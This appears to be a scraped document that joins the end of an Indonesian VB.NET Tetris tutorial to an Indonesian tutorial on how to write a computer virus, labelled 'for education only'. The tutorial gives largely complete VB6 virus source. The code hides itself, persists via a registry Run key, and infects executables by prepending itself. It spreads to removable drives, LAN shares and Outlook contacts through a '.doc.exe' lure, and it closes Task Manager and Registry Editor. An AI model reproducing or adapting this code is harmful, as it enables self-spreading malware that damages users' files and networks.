{{0,1},{1,1},{2,1},{3,1}}}, _
{{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}}, _
{{{0,0},{0,1},{0,2},{1,2}}, _
{{0,0},{0,1},{1,0},{2,0}}, _
{{0,0},{1,0},{1,1},{1,2}}, _
{{0,1},{1,1},{2,0},{2,1}}}, _
{{{0,0},{0,1},{0,2},{1,1}}, _
{{0,0},{1,0},{1,1},{2,0}}, _
{{1,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,1}}}, _
{{{0,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,0}}, _
{{0,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,0}}}, _
{{{0,1},{0,2},{1,0},{1,1}}, _
{{0,0},{1,0},{1,1},{2,1}}, _
{{0,1},{0,2},{1,0},{1,1}}, _
{{0,0},{1,0},{1,1},{2,1}}}}

'konstrutor untuk class tshape


public sub new()
generateshape(nextshape, nextcolor)
end sub

'Membuat next shape berikutnya, dan menset current shape public


sub generatenextshape()
currentshape = nextshape
currentcolor = nextcolor
currentstate = 0 'rotasi ke 0
generateshape(nextshape, nextcolor) 'buat nextshape baru
end sub

'Membuat bentuk dan mengembalikan melalui parameter shape dan shapecolor private
sub generateshape(byref shape as integer, _
byref shapecolor as color)
dim c as integer
shape = int(rnd*6) 'random untuk shape
c = int(rnd*8) 'random untuk shape color
select case c
case 0 : shapecolor = color.red
case 1 : shapecolor = color.green
case 2 : shapecolor = color.blue
case 3 : shapecolor = color.orange
case 4 : shapecolor = color.pink
case 5 : shapecolor = color.cyan
case 6 : shapecolor = color.gray
case else
shapecolor = color.magenta

INDOPROG 49
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

end select
end sub

'Rotasi ke bentuk berikutnya


public sub rotate()
currentstate = currentstate + 1 'Rotasi berikutnya
if currentstate = 4 then currentstate = 0 'Kembali ke bentuk awal
end sub

'Rotasi ke bentuk sebelumnya


public sub derotate()
currentstate = currentstate - 1 'Rotasi sebelumnya
if currentstate = -1 then currentstate = 3
end sub

'Mengembalikan sel i,j dari current shape


public function currentshapesel(i as integer, j as integer)
return sarr(currentshape,currentstate,i,j)
end function

'Mengembalikan sel i,j dari next shape


public function nextshapesel(i as integer, j as integer)
return sarr(nextshape,0,i,j) 'Bentuk awal
end function

end class

Kompilasi Program
Vbc tetris.vb /r:sistem.dll /r:sistem.drawing.dll /r:sistem.windows.forms.dll

INDOPROG 50
Hanya untuk tujuan pendidikan saja

Teknik Pembuatan Virus Komputer


Syarat sebuah virus computer :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal
tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi
program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object


Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku",
environ$("windir") & "\" & app.EXEName
Set WShell = Nothing

Menyebarkan dirinya melalui media file executable

1
Hanya untuk tujuan pendidikan saja

Program virus harus dapat menginfeksi program-program executable dengan proses


sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan
menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program
Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan
kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak
boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri,
sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)


Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file target
Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature 'baca tSignature
Close fNum
If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus

2
Hanya untuk tujuan pendidikan saja

Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()


Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1


Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri


virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then


Load ff 'aktifkan timer virus
End If

'Jika file yang terinfeksi


Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer


Get #1, , OriginalCode 'baca originalCode

3
Hanya untuk tujuan pendidikan saja

fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally


Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:

Close #1

Call VirInstall

If Not SudahLoad Then


Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)


Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean


Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function

4
Hanya untuk tujuan pendidikan saja

Mempercepat proses penyebarannya melalui media pertukaran


data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja
dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()


On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja
dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()


On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()


Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares

5
Hanya untuk tujuan pendidikan saja

target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil
semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()


Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun


Workgroup dalam suatu stack.

Public Sub AmbilComputer()


Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()


Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then

6
Hanya untuk tujuan pendidikan saja

stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()


Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()


Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally


Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")

For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next

finally:
Set Outlook = Nothing
Set Mapi = Nothing

7
Hanya untuk tujuan pendidikan saja

End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan


dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya
adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script
extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat
script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara
otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi
suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis
browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan
menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas
ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social


engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan
siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk
memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada
pendekatan manusia.

8
Hanya untuk tujuan pendidikan saja

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi


pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang
memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang
menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses


virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\
\Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0,
"REG_DWORD"
WShell.regwrite “HKCU\
\Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0,
"REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()


Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)


Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :

9
Hanya untuk tujuan pendidikan saja

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses


system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-
perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi
tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh
programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan


siklus hidup virus anda.

Lampiran A
‘API Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long,
ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long,
lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal
lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103


Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE


dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _


(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias
"WNetEnumResourceA" _

10
Hanya untuk tujuan pendidikan saja

(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE,


lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As
Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long)
As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long

Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares()


As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0),
hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function

Lampiran B

11
Hanya untuk tujuan pendidikan saja

‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()


Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False

12
Hanya untuk tujuan pendidikan saja

SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

13

You might also like